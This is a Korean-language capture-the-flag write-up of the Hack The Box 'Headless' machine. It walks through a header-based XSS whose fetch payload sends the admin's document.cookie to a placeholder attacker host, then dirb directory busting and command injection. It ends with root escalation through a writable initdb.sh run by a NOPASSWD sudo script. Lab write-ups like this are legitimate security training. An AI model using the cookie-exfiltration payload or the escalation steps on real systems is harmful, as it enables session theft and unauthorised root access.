Hack The Box - Headless 문제를 풀어 봅시다.
Port Scanning
Port Scanning 결과는 22번(SSH)와 5000번 포트가 열려있습니다.
XSS
5000번 포트로 접근 시 웹 페이지가 보입니다.
For questions 버튼을 누르면 이름, 폰번호, contents등을 적어 Submit
을 할 수 있습니다.
다만 content에 <>
가 들어가게 되면 hacking attempt detected
가 되어 관리자에게 전달 된다고 합니다.
패킷의 내용을 보면 요청 헤더가 들어 간 것을 확인할 수 있습니다.
Submit 할때 요청 헤더에 XSS
구문을 넣으면 XSS가 동작하는 것을 확인할 수 있습니다.
Fetch to Cookie
해당 부분에서 많은 시간을 걸렸는데 평소 XSS 점검을 하게 되면 보통 location.href, window.open
등 함수를 이용하여 페이지가 이동되는 증적을 찍었는데 해당 문제에서는 동작을 하지 않았습니다.
문제에도 headless
라는 힌트가 있었고 아마 봇이 headless로 인해 해당 함수가 동작하지 않은 것을 알 수 있습니다.
headless 모드에서도 동작하는 방법 중 하나가 바로 fetch
를 이용하는 것입니다.
- <img src=x onerror=fetch(“http://{attacker_address}/cookie=”+document.cookie);>
Directory Busting
admin cookie를 탈취에 성공하고도 페이지의 달라진 점을 확인할 수 없었습니다.
그래서 dirb
라는 Directory Busting 도구를 이용하니 dashboard
페이지를 찾을 수 있습니다.
Coomand Injection
dashboard 페이지에 접근하면 Generate Report
버튼을 눌러 응답을 확인해보면 system?
어쩌구 하는 것을 보아 Command Injection 관련된 것을 추측하고, sleep 20
를 주어 Command가 실행되는 것을 확인할 수 있습니다.
cat 명령으로 user flag를 얻을 수 있습니다.
Local Privilege Escalation
sudo -l
명령어를 통해 NOPASSWD가 적용된 syscheck
명령어를 확인할 수 있습니다.
syscheck 파일을 보면 pgrep으로 initdb.sh 검색 후 DB 서비스가 실행하지 않으면 해당 파일을 실행하는 것을 알 수 있습니다.
syscheck 실행 시 Database service is not running. Starting it...
응답으로 나오는 것을 보아 initdb.sh
파일을 만들어 권한상승이 가능한 것을 확인했습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Systems are up and running!
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
리버스 쉘을 연결하고 아래의 명령어를 차례대로 입력 시 루트 권한을 획득 할 수 있습니다.
echo "/bin/bash" > initdb.sh
echo +x initdb.sh
sudo syscheck
후기
fetch
나 XMLHttpRequest
를 알고는 있었는데 바로바로 생각이 나지 않았습니다…
앞으로 XSS 점검 시에는 fetch로도 증적을 남겨야겠습니다!!
sudo의 nopasswd로 인한 권한 상승 케이스는 사실 실무에서는 많이 발견하기는 어렵지만 그래도 언제봐도 신기한거 같습니다. :D